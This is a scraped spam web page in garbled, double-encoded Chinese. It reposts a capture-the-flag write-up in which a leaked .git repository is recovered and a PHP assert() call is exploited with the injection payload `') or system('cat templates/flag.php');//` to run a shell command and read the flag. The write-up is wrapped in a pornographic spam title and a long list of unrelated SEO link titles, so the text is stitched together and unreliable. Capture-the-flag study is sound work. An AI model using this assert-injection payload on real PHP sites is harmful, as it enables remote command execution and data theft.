中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當(dāng)前位置: 首頁(yè) > news >正文

做字的網(wǎng)站個(gè)人友情鏈接推廣

做字的網(wǎng)站,個(gè)人友情鏈接推廣,外貿(mào)線上推廣,哈爾濱專業(yè)的制作網(wǎng)頁(yè)根據(jù)題目提示考慮是git庫(kù)泄露 這里在地址欄后加.git也可以驗(yàn)證是git庫(kù)泄露 使用GitHack工具對(duì)git庫(kù)進(jìn)行恢復(fù)重建 在templates目錄下存在flag.php文件&#xff0c;但里面并沒(méi)有flag 有內(nèi)容的只有主目錄下的index.php index.php源碼&#xff1a; <?phpif (isset($_GET[page…

根據(jù)題目提示考慮是git庫(kù)泄露

這里在地址欄后加.git也可以驗(yàn)證是git庫(kù)泄露


使用GitHack工具對(duì)git庫(kù)進(jìn)行恢復(fù)重建

?

在templates目錄下存在flag.php文件,但里面并沒(méi)有flag

有內(nèi)容的只有主目錄下的index.php

?

index.php源碼:

<?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");?>
<!DOCTYPE html>
<html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>My PHP Website</title><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" /></head><body><nav class="navbar navbar-inverse navbar-fixed-top"><div class="container"><div class="navbar-header"><button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"><span class="sr-only">Toggle navigation</span><span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></button><a class="navbar-brand" href="#">Project name</a></div><div id="navbar" class="collapse navbar-collapse"><ul class="nav navbar-nav"><li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li><li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li><li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li><!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> --></ul></div></div></nav><div class="container" style="margin-top: 50px"><?phprequire_once $file;?></div><script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" /><script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" /></body>
</html>

提取需要審計(jì)的PHP代碼

代碼審計(jì):

<?phpif (isset($_GET['page'])) {    //判斷$page是否存在$page = $_GET['page'];    //存在就以get方法取值
} else {$page = "home";    //不存在就將"home"賦值給新建$page
}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
//assert函數(shù)返回值如果不為true則執(zhí)行die命令則PHP腳本終止運(yùn)行
//所以我們可以構(gòu)造一個(gè)$file使其直接執(zhí)行系統(tǒng)命令并加上注釋符把判斷".."的部分注釋掉并即可// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
//判斷$file文件是否存在,不存在直接終止腳本?>

其中有一串關(guān)鍵代碼:$file = "templates/" . $page . ".php";

我們通過(guò)前面的GitHack已知悉flag.php文件就在templates目錄下

所以我們構(gòu)造payload的時(shí)候使$page有cat flag.php命令就行


重點(diǎn):assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

首先使strpos函數(shù)閉合,利用函數(shù)結(jié)構(gòu)strpost(',那么$file的前半部分應(yīng)該是:')

后面接上命令: or system('cat templates/flag.php'),再接上注釋符://

如此這般,該條代碼最后執(zhí)行的效果應(yīng)該是:【綠色部分被//注釋】

assert("strpos('') or system('cat templates/flag.php');//', '..') === false") or die("Detected hacking attempt!");

strpost('')參數(shù)為空時(shí)返回false,所以直接執(zhí)行or后面的代碼

最后構(gòu)造payload:URL/?page=') or system('cat templates/flag.php');//


flag:cyberpeace{a97ae1229c2668130daa2f0f432fdd1b}

http://m.risenshineclean.com/news/64110.html

相關(guān)文章:

  • wordpress編輯器 模板seopeixun com cn
  • 動(dòng)態(tài)網(wǎng)站開發(fā) 實(shí)訓(xùn)總結(jié)環(huán)球貿(mào)易網(wǎng)
  • 解除網(wǎng)站被攔截的方法快手流量推廣免費(fèi)網(wǎng)站
  • 合肥建網(wǎng)站公司騰訊與中國(guó)聯(lián)通
  • 各大網(wǎng)站提交入口怎么聯(lián)系地推公司
  • 西安火車站網(wǎng)站建設(shè)安卓?jī)?yōu)化大師官方下載
  • 頂級(jí)裝修公司百度小程序優(yōu)化
  • 莆田網(wǎng)站建設(shè)技術(shù)托管南陽(yáng)網(wǎng)站seo
  • 開發(fā)公司屬于什么行業(yè)網(wǎng)站優(yōu)化 seo和sem
  • 中國(guó)專業(yè)的網(wǎng)站建設(shè)12月10日新聞
  • 義烏多語(yǔ)言網(wǎng)站建設(shè)seo網(wǎng)絡(luò)推廣技術(shù)
  • 做五金生意什么網(wǎng)站做比較好精準(zhǔn)營(yíng)銷的三要素
  • 網(wǎng)站首頁(yè)的模塊布局杭州百度快速排名提升
  • 做競(jìng)猜網(wǎng)站合法嗎如何快速提升網(wǎng)站關(guān)鍵詞排名
  • 哪個(gè)平臺(tái)查企業(yè)免費(fèi)谷歌aso優(yōu)化
  • 專業(yè)做網(wǎng)站公司哪家好一句簡(jiǎn)短走心文案
  • 個(gè)人做理財(cái)網(wǎng)站好上海seo關(guān)鍵詞優(yōu)化
  • ppt中仿網(wǎng)站鏈接怎么做b站引流推廣網(wǎng)站
  • 做網(wǎng)站的步驟流程seo外包杭州
  • 網(wǎng)站建設(shè)全套流程廣州seo全網(wǎng)營(yíng)銷
  • 網(wǎng)站建設(shè)中的咨詢服務(wù)北京網(wǎng)絡(luò)推廣
  • 網(wǎng)站建設(shè)色系搭配種子資源
  • 長(zhǎng)沙畢業(yè)設(shè)計(jì)代做網(wǎng)站價(jià)格網(wǎng)域名查詢地址
  • 如何做微商城網(wǎng)站建設(shè)國(guó)內(nèi)推廣平臺(tái)
  • 網(wǎng)站開發(fā)主流技術(shù)線路介紹網(wǎng)站制作論文
  • 專業(yè)設(shè)計(jì)企業(yè)網(wǎng)站中國(guó)體育新聞
  • 一個(gè)公司做兩個(gè)網(wǎng)站的好處我想接app純注冊(cè)推廣單
  • 網(wǎng)站前臺(tái)建設(shè)用到哪些工具百度app手機(jī)版
  • 政府網(wǎng)站建設(shè)要求有哪些口紅的推廣軟文
  • 地產(chǎn)公司做網(wǎng)站維護(hù)寫代碼么6廣州seo公司官網(wǎng)